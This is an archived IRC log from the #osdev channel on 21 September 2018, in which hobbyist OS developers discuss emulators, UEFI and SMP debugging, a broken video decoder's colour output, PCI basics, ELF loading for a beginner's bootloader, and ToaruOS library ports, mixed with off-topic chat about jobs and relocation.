channel logs for 2004 - 2010 are archived at http://tunes.org/~nef/logs/old/ ·· can't be searched

#osdev2 = #osdev @ Libera from 23may2021 to present

#osdev @ OPN/FreeNode from 3apr2001 to 23may2021

all other channels are on OPN/FreeNode from 2004 to present

http://bespin.org/~qz/search/?view=1&c=osdev&y=18&m=9&d=21

Friday, 21 September 2018

12:01:43 <nshp> do any of the intel NUCs give you serial debugging somehow?
12:02:14 <zid> I thought they were bog standard PCs in a tin
12:03:07 <nshp> yeah, I see a couple vague mentions that they somehow do serial over ethernet or something, but nothing clear
12:03:36 <nshp> alternatively, is there any cute little portable x64 box good for osdev?
12:04:04 <nshp> my laptop technically works, but it's not running the greatest firmware and I don't really want to reboot it every 5 seconds
12:07:44 <_mjg> don't osdev on actual hardware
12:09:03 <nshp> I don't test every time on actual hardware, but sometimes it's nice to sanity-check an emulator
12:09:07 <nshp> because qemu is a dirty liar
12:10:27 <klange> you should run all the emulators you can get your hands on
12:12:09 <johnjay> i run virtualbox, qemu, bochs, and vmware
12:12:18 <johnjay> i think maybe there's hyper v too?
12:12:37 <Shockk> there's also pcem
12:13:00 <nshp> yeah, my setup is not ideal for that
12:13:21 <klange> Does pcem even attempt to do modern hardwre?
12:14:47 <Shockk> I've got mine set to [Socket 7] Award 430VS PCI Intel Pentium 75, it's the only one that I could find that supports LBA addressing through the BIOS interrupt
12:15:12 <Shockk> (and I wasn't willing to rewrite to support CHS)
12:17:47 <Shockk> in other news, I only have 66 undefined references now while trying to link dash
12:18:18 <Shockk> I've just stubbed a lot of the required functions but doing that is at least mapping out my C library somewhat
12:18:25 <johnjay> klange: no i don't think so, it targets older hardware i thought
12:21:28 <klange> yeah, I think that makes it unsuitable unless you're targeting old hardware
12:22:08 <Shockk> hmm 56 unique undefined references apparently
12:24:46 <johnjay> Shockk: are you writing a libc by trying to link a program like dash and then looking for the times it tries to call a function and fails?
12:24:54 <Shockk> basically yes
12:25:13 <johnjay> i don't know whether to admire your courage or condemn your recklessness
12:25:14 <Shockk> it took me a while to get to the point where it would actually compile without gcc errors
12:25:37 <Shockk> but that gave me a nice layout of header files and #defines and other stuff
12:25:40 <klange> reasonable
12:25:53 <Shockk> now I've been going through the undefined refs from the linker to actually implement what it needs
12:26:52 <nshp> is anything but qemu+ovmf capable of running (and on a good day, debugging) UEFI images?
12:27:17 <klange> virtualbox
12:27:35 <nshp> that's one of my issues. the other is I don't have KVM support on my laptop, so I'm running over ssh
12:28:03 <klange> vmware has EFI support as well, but needs config tweaks on Player, and hell if I know about debugging it
12:31:28 <wcstok> turn on the guest debugger, hook gdb up to it and debug however you like
12:31:58 <zid> Shockk: well it's how I wrote my gameboy emulator :P
12:32:10 <zid> I didn't go down the opcode list or through the lcd documentation I just started supporting zelda
12:32:42 <nshp> wcstok: heh, I have not had great luck with that
12:32:50 <nshp> maybe I just don't know how to use my tools
12:33:00 <zid> nobody does
12:33:37 <zid> unless you're the guy who wrote the tool
12:39:19 <nshp> at the moment one of the things I'm trying to figure out is if my secondary processors are actually coming up and executing the pile of 0xccs I put in front of them
12:39:43 <zid> why not just
12:39:45 <nshp> I can't seem to find a way to trace IPIs or actually see the status of CPUs in qemu or qemu+gdb
12:39:47 <zid> make them page fault
12:40:11 <graphitemaster> klange, ping
12:40:14 <Shockk> hm | uniq wasn't working properly, had to do | sort | uniq
12:40:21 <nshp> will that do anything visibily if my bsp is just sitting there waiting?
12:40:26 <Shockk> unique undef refs is down to 34 now :D
12:40:50 <klange> graphitemaster: i was literally just talking 12 minutes ago, why do you need to ping me?
12:40:55 <graphitemaster> klange, you get a job offer from comma.ai in your email?
12:41:01 <klange> no?
12:41:02 <zid> nshp: Well it seems better than 'ret'
12:41:03 <mischief> klange: ping
12:41:09 <Shockk> mischief: ping
12:41:11 <Shockk> pong
12:41:14 <graphitemaster> klange, funny because "We're hiring for a firmware engineer and came across your GitHub commits to the ToaruOS project from awhile back"
12:41:14 <zid> catch it, print a message onscreen or whatever
12:41:18 <zid> or just write to the screen directly
12:41:24 <graphitemaster> I figured they would've hit you first
12:41:35 <graphitemaster> seeing as it's your project lol
12:42:15 <mischief> klange: ping
12:42:22 <klange> mischief: don't test me
12:42:33 <mischief> klange: hi OwO
12:42:53 <Shockk> I was really tempted to do a channel ctcp of PING then but I decided it was a bad idea
12:42:59 <Shockk> I think it's blocked by the modes anyway
12:43:05 <graphitemaster> klange, pong
12:43:20 <graphitemaster> mischief, :D
12:43:22 <Shockk> (but I'm not going to find out for sure)
12:44:23 <nshp> zid: maybe I'm not understanding exception delivery with multiple processors
12:44:48 <zid> nshp: It doesn't matter, the point is why do something undetectable
12:44:59 <klange> graphitemaster: maybe it's actually a smart recuriter and they looked up my résumé page where I clearly state I have no desire to leave Tokyo
12:44:59 <zid> do something that will make your qemu crash or print a message or something
12:45:45 <graphitemaster> klange, it honestly looks like it because this email is from the CEO directly and it's a start up and I looked into them and it's that Holtz guy's company or something (the guy who hacked the PS3 and did a Sony rap battle)
12:46:03 <graphitemaster> only problem is I would have to relocate to crap San fran
12:46:19 <klange> Hotz
12:46:30 <nshp> well that's my question: what's the simplest thing I can do to make qemu crash or print a message or something? :)
12:46:48 <Mutabah> pump data to the serial port?
12:46:51 <nshp> triggering an exception on a freshly initialized AP will just reset the AP, won't it?
12:47:23 <johnjay> graphitemaster: we came across your github, therefore job? is that how it goes?
12:47:52 <graphitemaster> basically yes
12:48:09 <graphitemaster> all the job offers I ever got through "we found you or your resume on github" never pan out though
12:48:20 <graphitemaster> because they're always in the US with no chance for remote work
12:48:23 <graphitemaster> and I can't get into the US
12:48:42 <johnjay> ah you moved to japan or are japanese?
12:48:53 <graphitemaster> because work visas don't work unless you have a degree
12:49:02 <graphitemaster> there is no "or equivalent experience"
12:49:20 <graphitemaster> no I'm in Canada, klange is the Japanese guy
12:50:03 <graphitemaster> I wish Canada would get up off their ass and offer some more tech jobs
12:50:29 <graphitemaster> I don't ever want to have to live in California or San Francisco
12:50:39 <geist> work in vancouver or seattle
12:50:41 <geist> it's nice up here
12:51:20 <graphitemaster> unless you want to live on the outsides, a small studio apartment in Vancouver close to work can cost as much as $8000/m
12:51:32 <graphitemaster> that's absurd
12:51:32 <geist> yeah, well that's the price of living in a cool place
12:51:41 <geist> tech jobs pay more in general
12:51:58 <graphitemaster> yeah but I won't feel ahead if the cost of living consumes most of what I make
12:52:06 <graphitemaster> it would be like any other decent paying job
12:52:15 <geist> sure, and you live in vancouver, which is cool
12:52:21 <geist> so, you get to live in a neat place
12:53:11 <graphitemaster> that doesn't concern me as much to be honest
12:53:13 <geist> and even if it consumes most of your monies, the amount you can save is still a fairly decent amount relative to not making it in the first place
12:53:22 <geist> so then after 5 or 10 years you have a pretty good amount of savings
12:53:28 <geist> then you can go move somewhere else
12:54:17 <graphitemaster> I can stay here in cheap-cost-of-living-ville making money doing remote work for a company in New Jersey where I spend less than 5% of what I make every year salaried
12:54:31 <geist> suit yourself.
12:54:41 <geist> point is that others may not choose the same route
12:54:52 <graphitemaster> I'm getting tired of my job though and want to reconsider
12:54:56 <geist> as an option, it's not all doom and gloom. it's just not your thing
12:55:09 <graphitemaster> I just don't know if I can reconsider for less money and living in a worse place
12:55:12 <geist> ah, so that feeds into it. you generally get more options if you do the city/tech-center thing
12:55:36 <geist> depends on how much you value getting enjoyment out of your work, or if it's just work
12:55:39 <graphitemaster> to me worse place = anywhere california or sanfran where the culture is backwards in my eyes
12:55:52 <geist> usually you can't get everything you want, so you have to pick
12:55:59 <graphitemaster> yeah it's a difficult problem
12:56:17 <graphitemaster> the whole pick two out of three options problem
12:56:23 <graphitemaster> except in this case there's even more variables at play
12:56:48 <geist> i enjoyed the silicon valley thing, for a while, and now i enjoy the seattle thing
12:56:52 <graphitemaster> I also own a house
12:57:00 <geist> it's like the tech stuff dialed back a bit, but a nice place otherwise
12:57:01 <graphitemaster> that's problematic too
12:57:10 <graphitemaster> I also own a business / company ... idk how that translates
12:57:27 <geist> you can still live somewhere more techy in canada
12:57:29 <geist> like.... vancouver
12:57:39 <graphitemaster> toronto has some techy jobs too
12:57:54 <geist> or i dunno, another city place like toronto, or halifax or anyplace
12:58:08 <geist> though i dunno what the tax situations are in different provinces
12:59:39 <graphitemaster> alternatively just stop doing tech and take a one year sabbatical exploring some alternative culture or just go on an mdma bender and "find myself"
12:59:50 <graphitemaster> then come back with a new fresh outlook and like my job again
12:59:56 <geist> or that
01:00:02 <geist> self employment for the win!
01:01:04 <graphitemaster> I keep wanting to visit Japan because they have this new designer mdma that doesn't make you tired or feel groggy afterwards and it's apparently big in the rave but you can't get it here in Canada or the US because no one is stupid enough to smuggle it in
01:01:42 <graphitemaster> there's literally no other reason I want to visit Japan
01:01:50 <graphitemaster> pretty pathetic eh
01:05:47 <zid> can't even be bothered to smuggle back some dodonpachi black label boards
01:07:10 <graphitemaster> yeah this is the problem with Japan and their exports, we can have all the weird porn and sex toys but we can't get their decent video games or drugs
01:07:16 <graphitemaster> something is seriously wrong
01:08:28 <zid> Dodonpachi saidaioujou kan for sale on tops for.. $5800, not bad
01:08:38 <zid> plus 30% import duty and shit
01:10:34 <AverageJ0e> i'd rather import a toyota helix from south america
01:10:52 <zid> does it come with free zika
01:11:06 <AverageJ0e> v6 turbo diesel stick shift
01:13:30 <johnjay> graphitemaster: that's... interesting lol
01:14:43 <johnjay> if you want to leave to explore the world and your work is about x86 then let me know, i'll take yer jerb for ya
01:15:50 <johnjay> graphitemaster: wait are you quebecois?
01:16:05 <graphitemaster> no
01:16:12 <johnjay> oh ok
01:16:23 <johnjay> you said you translate something so i thought that meant quebecois
01:16:39 <graphitemaster> ?
01:16:51 <johnjay> >[19:57] <graphitemaster> I also own a business / company ... idk how that translates
01:17:15 <graphitemaster> by translates I mean moving a business / company across countries
01:17:21 <graphitemaster> reread the context
01:17:25 <klange> he doesn't know how business ownership would work if he moved
01:17:36 <klange> his company does vidya game middleware and stuff
01:18:20 <johnjay> oh lol sorry
01:18:31 <johnjay> konichiwa klange
01:18:34 <johnjay> yeah i see now
01:18:51 <johnjay> i agree that moving to san fran is highly problematic, people and businesses are moving out of ca at all time highs
01:18:56 <graphitemaster> I imagine I would have to dissolve it and just remake it in another country
01:19:01 <graphitemaster> but that's like a process
01:19:04 <johnjay> needles and crap in the streets, no new housing, corrupt politicians
01:19:27 <graphitemaster> I don't even think someone who isn't the citizen of a country can start their own company there
01:19:43 <graphitemaster> I'd have to hire a Canadian and US lawyer to figure the logistics out
01:23:56 <Kazinsal> http://www.metzdowd.com/pipermail/cryptography/2018-September/034535.html Sooooo this is pretty fuckin terrifying
01:23:57 <bslsk05> ​www.metzdowd.com: [Cryptography] Previously unknown (I think) Malware
01:24:36 <Kazinsal> Friggin wrong window goddammit
01:30:57 <mischief> i have a problem i'm not sure how to approach
01:31:40 <mischief> i'm porting a video decoder, and it compiles but the test vectors fail - frames decoded from test files are md5summed and checked against a file with frame/md5 sum pairs
01:31:53 <mischief> how would you approach debugging this
01:32:32 <Mutabah> Look through the changes you made to port it?
01:32:40 <Mutabah> See if you can find a potential source of deviation
01:32:40 <zid> I'd see if the failure was systemic
01:32:46 <zid> perhaps the cpu is in the wrong rounding mode
01:32:54 <zid> or if it was localized, the 1st byte is always wrong, etc
01:33:03 <zid> which may be a buffer overflow or something silly
01:33:03 <Mutabah> Also - If it's comparing checksums of frames, then maybe dump the frames from a known-good version and compare with your output?
01:33:16 <mischief> Mutabah: i made no changes really
01:33:20 <klange> Visual comparison is a good idea.
01:33:22 <zid> but I think double checking the initial fpu state would be an ideal place to start
01:33:30 <mischief> klange: the frames are all fucked :)
01:33:33 <zid> after you've ruled out "the entire thing is just black"
01:33:36 <klange> ah, then it's broken :)
01:33:39 <mischief> .theo
01:33:40 <glenda> Oh my god, the tears! Look at his tears!
01:33:52 <zid> mischief: So what's the error mode?
01:34:05 <mischief> of fpu?
01:34:07 <zid> no
01:34:16 <zid> What mode (style, type) is the error
01:34:28 <zid> you have perfectly green frames? Your frames look fine but are subtly different? a single pixel is always wrong?
01:35:38 <zid> First: Major bug, you fucked something hard, middle: Fpu rounding mode maybe, Last: Padding/alignemtn issue with your compiler setup, etc
01:35:42 <zid> it helps to know what the actual bug is
01:38:35 <mischief> admittedly, im revisiting this after not working on it for a while, ill have to look at the frame
01:38:52 <mischief> but iirc it sort of looks like the original but quite messed up
01:39:47 <zid> You'll probably have to isolate some parts then, see if it looks fine before and after various passes
01:43:07 <mischief> hm
01:43:27 <graphitemaster> standard way to debug a/v codecs is to start by asserting the parts of it
01:43:31 <zid> I'd probably go with my gut and quickly check the fpu control bits were right
01:43:51 <graphitemaster> try different compiler options too
01:43:54 <graphitemaster> e.g -O0
01:43:59 <graphitemaster> -ffast-math could be breaking shit
01:44:02 <zid> oh yea, if you compiled -ff
01:45:09 <mischief> haha.
01:45:14 <mischief> this compiler has no such options.
01:45:28 <mischief> also, the test vectors themselves don't really look like much
01:45:37 <mischief> hard to actually find a distinguishing feature
01:45:51 <graphitemaster> i'd check to make sure it's not abi related either
01:45:58 <mischief> ah, found one.
01:45:59 <graphitemaster> e.g some assumed type size is larger or smaller
01:46:24 <graphitemaster> e.g uses long double and assumes 80-bit x87fpu
01:52:08 <mischief> ok
01:52:15 <mischief> the frames look mostly the same but the color is a bit off.
01:52:37 <mischief> i wonder if thats just vlc applying some kind of effect
01:58:36 <Mutabah> Transposed colour channels? or just some minor tinting?
02:03:23 <mischief> hm
02:03:27 <mischief> i think just tinted
02:03:53 <zid> I'd stop thinking and start analyzing the bytes
02:03:58 <graphitemaster> could it be gamma correction
02:05:21 <mischief> https://imgur.com/a/Hy2fAF7
02:05:22 <bslsk05> ​imgur.com: Imgur: The magic of the Internet
02:05:24 <mischief> good one is on the top.
02:05:43 <zid> okay so the red is missing
02:05:48 <zid> almost entirely
02:05:56 <zid> but I'd check the bytes to see if it's a swap or what
02:06:41 <zid> the pink streak part looks mostly good, but the grass? is all blue.. hmm
02:07:58 <bcos_> To me that looks like the "blue = green"
02:08:16 <zid> I'd look at the bytes and investigate a channel swap for sure
02:08:31 <mischief> lemme try another frame from the same file
02:08:57 <bcos_> Do you have a test image; like bars of gradients or something?
02:09:49 <bcos_> (e.g. black to white bar, black to green bar, black to red bar, ..., green to white bar, red to white bar, ..)
02:10:22 <bcos_> (and then diagonal lines somewhere maybe)
02:10:39 <zid> 240p test suite pls :P
02:11:10 <mischief> oh dear
02:11:15 <mischief> this color
02:11:24 <mischief> bcos_: i should make one i guess
02:12:08 <mischief> i wonder if something is wrong with my yuv->bitmap converter
02:12:19 <zid> sounds like it
02:14:16 <mischief> https://imgur.com/a/qCp2Kpo
02:14:17 <bslsk05> ​imgur.com: Imgur: The magic of the Internet
02:14:19 <mischief> different frame
02:15:08 * bcos_ is still thinking "blue = green"
02:15:53 <mischief> this is yuv i420 btw as the intermediate.
02:16:10 <zid> Let's do a test
02:16:19 <bcos_> Hrm, maybe not exactly (maybe more like blue = green+red/2)
02:16:19 <zid> 21,20
02:16:55 <mischief> ?
02:16:56 <zid> oh wrong paint program
02:17:08 <zid> I can pick colours but I can't look at them :p
02:20:00 <mischief> i've acquired some test files
02:23:22 <johnjay> hrm it almost looks like the red and blue channels are swapped
02:23:29 <johnjay> i sampled an area and the green was the same in both
02:23:36 <johnjay> but it looked like the red and blue values were interchanged
02:23:40 <johnjay> i could be wrong though
02:23:41 <mischief> with oh god
02:23:59 <mischief> s/with //
02:25:12 <mischief> this is SUPPOSED to be Philips PM5544 https://i.imgur.com/ORZSebB.png
02:25:57 <bcos_> That's abstract art...
02:26:57 <johnjay> what kind of algorithm is it mischief ?
02:27:09 <mischief> it's vpx.
02:27:18 <Jmabsd> https://en.wikipedia.org/wiki/Protection_ring writes "Multiple rings of protection were among the most revolutionary concepts introduced by the Multics operating system, a highly secure predecessor of today's Unix family of operating systems. The GE 645 mainframe computer did have some hardware access control, but that was not sufficient to provide full support for rings in hardware, so Multics supported them by trapping ring transitions
02:27:18 <Jmabsd> in software;[3] its successor, the Honeywell 6180, implemented them in hardware, ..."
02:27:18 <bslsk05> ​en.wikipedia.org: Protection ring - Wikipedia
02:27:33 <mischief> that image is supposed to be https://i2.wp.com/www.backseatmafia.com/wp-content/uploads/2015/05/PM5644-1920x1080.png
02:28:08 <Jmabsd> bcos_,geist: this reads a bit unclear to me, Multics introduced the notion of rings as in subjecting program code to direct-hardware access controls??
02:28:30 <zid> That for some reason is incredibly more messed up somehow
02:28:52 <bcos_> mischief: I suspect there's a major difference between the encoding used in the test pattern and that used in the previous 2 pictures
02:29:13 <bcos_> ..like maybe there's a "thingies per whatsit" field in the header that...
02:29:35 <mischief> yeah, for this test pattern i just invoked ffmpeg without any fancy options
02:29:40 <mischief> but it plays back fine in vlc
02:37:23 <bcos_> Jmabsd: I'd assume it's more complex than the wikipedia page indicates - Multics was a collaboration between MIT, GE and Bell Labs; where GE probably made hardware to suit various parts of the design of Multics
02:42:26 <Jmabsd> bcos_: mhm. today on modern architectures, hardware access is.. a combination of virtual memory based privileged access and the core's ring access setting?
02:43:45 <bcos_> Roughly, yes
02:58:39 <Jmabsd> bcos_: sorry disconnect, last i got was
02:58:44 <Jmabsd> > <bcos_> Jmabsd: I'd assume it's more complex than the wikipedia page indicates - Multics was a collaboration between MIT, GE and Bell Labs; where GE probably made hardware to suit various parts of the design of Multics
02:58:48 <Jmabsd> > Jmabsd> bcos_: mhm. today on modern architectures, hardware access is.. a combination of virtual memory based privileged access and the core's ring access setting?
02:59:08 <bcos_> Roughly, yes
03:04:00 <Jmabsd> bcos_: so cool. general newb question re PCI , do you do all the PCI protocol interaction only via memory accesses - so you have the CPU's PCI root-device-whatever at some address range, and you do autodiscovery and memory/resource negotiations for the PCI devices on the bus, by talking to those predefined memory addresses, and this is how you hook in more PCI devices?
03:04:17 <Jmabsd> what is this called, do you have any idea where i can read about it?
03:05:07 <Mutabah> Jmabsd: Have you read the wiki page on PCI?
03:05:26 <bcos_> https://wiki.osdev.org/PCI
03:05:27 <bslsk05> ​wiki.osdev.org: PCI - OSDev Wiki
03:07:18 <Jmabsd> bcos_,Muaabah: excellent, will read, thanks
03:07:32 <klange> I am going to start bringing back third-party libraries as optional extensions to my NIH branch. Freetype builds and is working, just need to figure out how I want to get this into the build...
03:09:07 <klange> What I want to do is set up all my font rendering so it can use whatever backends are available, and have a backend for my native SDF renderer and a backend for freetype, and then if you have the freetype backend installed everything just magically looks better
03:23:36 * zid completely loses the part of the manual he was looking for
03:24:15 <zid> There was a chapter on initialization I swear I saw it damnit
03:27:04 <zid> Aha! different pdf
03:43:39 <zid> That's handy, finally starting to try actually push a packet through the e1000, pinged it from the host side and bochs helpfully printed that it had padded a packet from 42 to 60
03:44:00 <zid> so I guess the module works at least
03:49:14 <zid> I need to add interrupts now.. *watches tv instead*
03:51:49 <graphitemaster> klange, yes, make it so you can also just replace the kernel with linux too
03:53:57 <zid> sti immediately triple faults, so at least I have an interrupt pending somewhere :p
03:55:32 <klange> terminal with runtime-loaded freetype backend: https://i.imgur.com/rxXOAgl.png
03:58:14 <zid> Oh so no more uglyfont?
04:05:57 <Jmabsd> "A single PCI bus can drive a maximum of 10 loads. (Remember when counting the number of loads on the bus, a connector counts as one load and the PCI device counts as another, and sometimes two.) " says https://wiki.osdev.org/PCI . what is a "load" here?
04:05:58 <bslsk05> ​wiki.osdev.org: PCI - OSDev Wiki
04:07:09 <bcos_> Jmabsd: For electronics a "load" is mostly something that consumes power
04:07:49 <Jmabsd> bcos_: so "10 loads" relates to device electrical powering matters, or data signal transmission properties?
04:07:59 <bcos_> Yes
04:09:01 <bcos_> Note that unless you're creating your own motherboard you can ignore all the electrical/electronic stuff
04:13:44 <graphitemaster> then there's communication lanes
04:13:44 <graphitemaster> there
04:18:45 <zid> bcos_ how do interrupts work I forgot
04:19:17 <bcos_> zid: When a mommy interrupt and a daddy interrupt love each other very much...
04:19:37 <rakesh4545> Wut
04:19:39 <zid> they hug and kiss in a special way
04:19:40 <graphitemaster> they interrupt each other and get a divorce
04:19:50 <graphitemaster> then little timmy becomes a problem child
04:20:01 <graphitemaster> stamples all over the process
04:20:14 <graphitemaster> and the cpu has to step in and tell timmy to shut up
04:20:20 <zid> I'm thinking.. interrupt gates and stuff
04:21:31 <rakesh4545> tell me one thing. At what mem loc should i set the protected mode stack and the data segment.
04:21:40 <zid> wherever is suitable
04:23:04 <rakesh4545> My C string is printing weird characters. I think the data is tangling with other code or the stack is wrong.
04:23:41 <zid> if the stack was fucked you'd have died a long time ago
04:23:55 <zid> .data is probably not where your linker said it would be
04:24:25 <zid> I recommend reading the ELF you made with readelf and other tools for where it believes .data will be in memory
04:25:12 <rakesh4545> What are the tools are you talking about. I will have a look.
04:25:31 <zid> readelf, objcopy, objdump, nm, ld
04:25:43 <rakesh4545> Ok.
04:25:57 <zid> basically, binutils
04:27:03 <zid> orrr you could just actually understand your build system :P
04:28:47 <rakesh4545> https://github.com/rakesh491/boot-loader here is the code with build script.
04:28:48 <bslsk05> ​rakesh491/boot-loader - None (0 forks/0 watchers)
04:29:09 <rakesh4545> And the compiled binaries.
04:29:32 <zid> so.. no linker script then
04:29:33 <graphitemaster> geist, speaking of games on the PS4 https://twitter.com/Nibellion/status/1042802353957683200
04:29:33 <bslsk05> ​twitter: <Nibellion> Red Dead Redemption 2 is the game of the year https://pbs.twimg.com/media/DnjHLZpW4AAH5WX.jpg
04:29:39 <graphitemaster> geist, RDR2 definitely
04:29:40 <zid> you're basically leaving it up to chance where it ends up being loaded
04:29:59 <klange> Three different text rendering backends in the terminal: https://i.imgur.com/JLJZnjS.png
04:30:26 <zid> wait what
04:30:32 <zid> how the hell does this work?
04:30:39 <zid> you're catting a bootsector to a kernel.bin
04:30:42 <zid> who loads kernel.bin
04:30:54 <graphitemaster> bios
04:31:06 <zid> bios does nothing of the sort, it loads a single sector
04:31:23 <graphitemaster> right, bios loads stage 1, small bit of code that loads the bootloader's stage 2
04:31:25 <zid> no idea what qemu does when given a random file as input though
04:31:29 <graphitemaster> stage 2 then loads the kernel
04:31:35 <zid> I am not asking how it works normally grange_c
04:31:37 <zid> graphitemaster
04:31:43 <zid> I am asking how he expects this to work
04:31:45 <klange> an attempt is made https://github.com/rakesh491/boot-loader/blob/master/boot.asm#L12
04:31:47 <bslsk05> ​github.com: boot-loader/boot.asm at master · rakesh491/boot-loader · GitHub
04:31:49 <graphitemaster> qemu's -kernel thing just executes a multiboot compatible kernel
04:32:07 <zid> so qemu is treating this as a floppy image?
04:32:12 <klange> hard disk
04:32:13 <zid> he's not using -kernel
04:32:17 <klange> if it's passed without other options
04:32:59 <zid> Okay then so he's abusing LMA so make this work even barely
04:33:18 <rakesh4545> What is lma?
04:33:22 <zid> file offsets
04:33:27 <zid> rather than memory offsets
04:33:53 <zid> you're just blindly spamming an ELF into memory and then adjusting where the .text section is in the /file/ to get kernel_main at 0x8000 in memory
04:34:09 <zid> like, of course you don't know where .data is
04:34:10 <rakesh4545> Yes.
04:35:04 <rakesh4545> I earlier tried to set it to a mem loc.
04:35:34 <zid> You should either use multiboot, or write an ELF loader, or hard-code everything
04:36:18 <rakesh4545> What is elf loader?
04:36:25 <zid> ELF is the type of file you are producing
04:36:28 <zid> with gcc
04:36:33 <_mjg> jo
04:36:37 <rakesh4545> Yes 32 bit i know.
04:36:41 <zid> nothing to do with bits
04:38:01 <rakesh4545> How do i create one?
04:38:09 <zid> create one what
04:38:16 <rakesh4545> Elf loader
04:38:19 <zid> you write it
04:38:33 <rakesh4545> I meant how do i write one.
04:38:37 <zid> with a text editor?
04:38:44 <rakesh4545> Oh my god.
04:38:53 <Mutabah> rakesh4545: https://wiki.osdev.org/ELF
04:38:54 <bslsk05> ​wiki.osdev.org: ELF - OSDev Wiki
04:39:12 <Mutabah> rakesh4545: Step 1. Understand the format, Step 2. write code that loads the information you need from the format
04:39:15 <Mutabah> Step 3. Profit
04:39:28 <klange> Step 2.5. ???
04:40:41 <rakesh4545> Ok could you not pre teach me more about the format. And how cpu interprets it?
04:40:52 <zid> it doesn't
04:40:59 <zid> that's the entire point of what you're trying to do being really fucked up
04:41:06 <zid> cpus don't understand files, they run machine code
04:41:21 <zid> that your elf *happens* to have some machine code in it is just a lucky byproduct of how ELF files are structure
04:41:34 <rakesh4545> Ok i should read the link.
04:41:43 <zid> you've esentially made an ELF, ignored everything in it except the machine code, forced the compiler to move the machine code *within the file* so that it ends up at 0x8000, then jumped to it
04:41:53 <zid> completely ignoring .data and .bss and not parsed the headers or anything
04:42:46 <zid> What you *want* to have done, if you intend to use ELF files, is read the ELF header, asked it where the .text section is within the file, asked it where the .text section wants to be in memory then *copied* it there
04:42:48 <zid> the same for .data
04:43:09 <zid> then you would actually know where your .data was, because the singular ELF that was created by gcc has code in it that depends on the .data section being where it thinks it should be
04:44:18 <rakesh4545> This entire converstaion has so much information. How should i parse the elf.
04:44:31 <zid> with some code
04:45:14 <Mutabah> rakesh4545: It's as simple as that, you need to understand the format and write code that interprets it
04:45:25 <Mutabah> Welcome to programming
04:45:47 <zid> This is like "How do I load a .bmp file?", what answer can we give other than "By understanding what's in a .bmp file and writing some code"
04:46:05 <rakesh4545> Ok i will report when i try. Thankyou for mentioning the errors and guiding me.
05:15:21 <burzos> When returning from a syscall to userspace; must the kernel explicitly remove entries from the TLB for kernel pages? Or it doesn't matter because a usermode process trying to access one of these pages will just get a pagefault.
05:18:55 <bcos_> burzos: The 2nd (user proces gets page fault)
05:28:01 <zid> the kernel has to be mapped into that process to some degree regardless
05:28:33 <zid> else you can't actually take interrupts or whatever because there'll be no interrupt handler in the address space
05:41:03 <zid> oh right I remember doing this before
05:41:16 <zid> ld doesn't have the relocation types I'd need so I have to do it at runtime
05:57:58 <geist> zid: on x86
05:58:53 <zid> on a fried egg?
05:58:57 * zid doesn't know the rules to this game
05:59:02 <zid> mornington crescent
05:59:02 <geist> yes. yes on a fried egg
05:59:16 <zid> In other news, gate descriptor is not valid sys seg!
05:59:26 <zid> maybe I needed to fake a few more bits in my IDT entry
05:59:26 <geist> who knew!
06:00:03 <zid> 0x80E0 not good enough for the flaggy bits, who knew
06:01:51 <zid> hmm looks vaguely correct to me, no IST stuff, some 0 bits, type 14 = 64bit interrupt, present
06:02:00 <zid> selector is 8, same as my normal kernel cs
06:16:24 <johnjay> is this more intel manual stuff?
06:16:32 <johnjay> or amd manual stuff
06:16:41 * zid can't make head nor tails of bochs source for this stuff
06:16:56 * johnjay agrees
06:17:31 <zid> It prints that if some parse_descriptor thing doesn't give valid = 1.. and the function is just a whole bunch of shifts and masks on the input dword1 and dword2
06:30:47 <zid> Okay I threw some debug code into bochs.. still none the wiser :D
06:33:37 <zid> dword1 = 807d0, dword2 = 800080e0..
06:35:45 <zid> whoops, that should definitely be 8E00
06:36:24 <zid> yep, all fixed, counting is hard.
07:26:11 <klange> Hm. I think Cairo/pixman should be my next target. libpng won't get me anything useful in the short run that I'm not already getting out of my 32-bit RGBA bitmaps besides smaller sizes and I don't want to deal with getting the PNG resources back in the image... but Cairo I can get back into the compositor and everything will be awesome again
07:30:26 <johnjay> target for which?
07:31:02 <zid> klange: If you want to get bits back into a PNG you can just shove really hard with a stick
07:37:38 <klange> johnjay: re-porting libraries I had previously working in the "mainline" (newlib) version of my OS.
07:38:21 <johnjay> oh neat. cairo is basically userland i thought
07:38:35 <klange> Uh, yes, it's just a library for software graphics stuff.
07:38:37 <johnjay> so that's basically your OS kernel is done
07:38:46 <johnjay> yeah drawing or something
07:38:51 <johnjay> pango and cairo
07:38:51 <klange> My kernel has been 'done' for several years at this point.
07:39:06 <klange> Pango is a text layout engine.
07:39:17 <klange> Also a pain in the ass to port as it's heavily integrated with glib which is not fun.
07:39:32 <klange> I might have better luck porting glib to my own C library than I did with newlib, though.
07:39:45 <johnjay> you can port pango without glib?
07:39:54 <johnjay> yeah i saw them when working with gtk
07:40:08 <klange> No, to my knowledge you can't port Pango without glib.
07:40:15 <klange> Cairo, however, has no dependency on it.
07:40:22 <klange> Cairo can be built with effectively nothing.
07:40:27 <klange> Just a sufficient C library.
07:42:08 <klange> Anyway, the point is, my OS has an older "mainline" distribution that used newlib. I had a lot of things ported to it. Freetype, Cairo, libpng... even had a full binutils and gcc. And since I have a heavy focus on userspace with a fancy UI, my UI was built on those things.
07:44:53 <johnjay> that sounds pretty cool
07:45:00 <johnjay> do you have a screenshot or something?
07:51:16 <klange> I have a full album going back to the beginning of the project. https://imgur.com/a/mSzJO
07:51:16 <bslsk05> ​imgur.com: ToaruOS History Album - Album on Imgur
07:52:17 <johnjay> ah my bad, i didn't know you were the author of that OS
07:52:21 <johnjay> it was mentioned before
08:04:11 <johnjay> yeah that's amazing
08:04:21 <johnjay> wikipedia says it's completely independent, developed with some tutorials though
08:07:01 <yasar> According to https://wiki.osdev.org/Babystep2, my loader will be installed to 7c00
08:07:03 <bslsk05> ​wiki.osdev.org: Babystep2 - OSDev Wiki
08:07:15 <yasar> Does that mean I can use addresses below 7c00 for stack?
08:07:28 <Mutabah> yes.
08:07:31 <klys> yes, down to about 0x600
08:07:31 <klange> someone should update wikipedia, I put out a v1.2.3 bugfix as a final release of mainline.
08:07:57 <zid> I recommend AF00, then you get a nice visual representation of your stack :P
08:09:32 <klange> that's actually a really cute debugging idea if you're doing your normal output to serial ;)
08:10:50 <johnjay> klange: and you did most of the project yourself?
08:11:00 <johnjay> the wiki just says it was a university project first
08:11:11 <zid> klange: Next best idea: Implement memzero by adjusting the stack pointer to the end of the buffer and jumping into some unrolled push 0
08:11:15 <klange> aye, had some help here and there over the years, but it's 99% me
08:11:20 <zid> It's actually the fastest way to do that on a lot of micros
08:11:33 <zid> because otherwise you have to manually decrement/increment a pointer and you only get half the bw
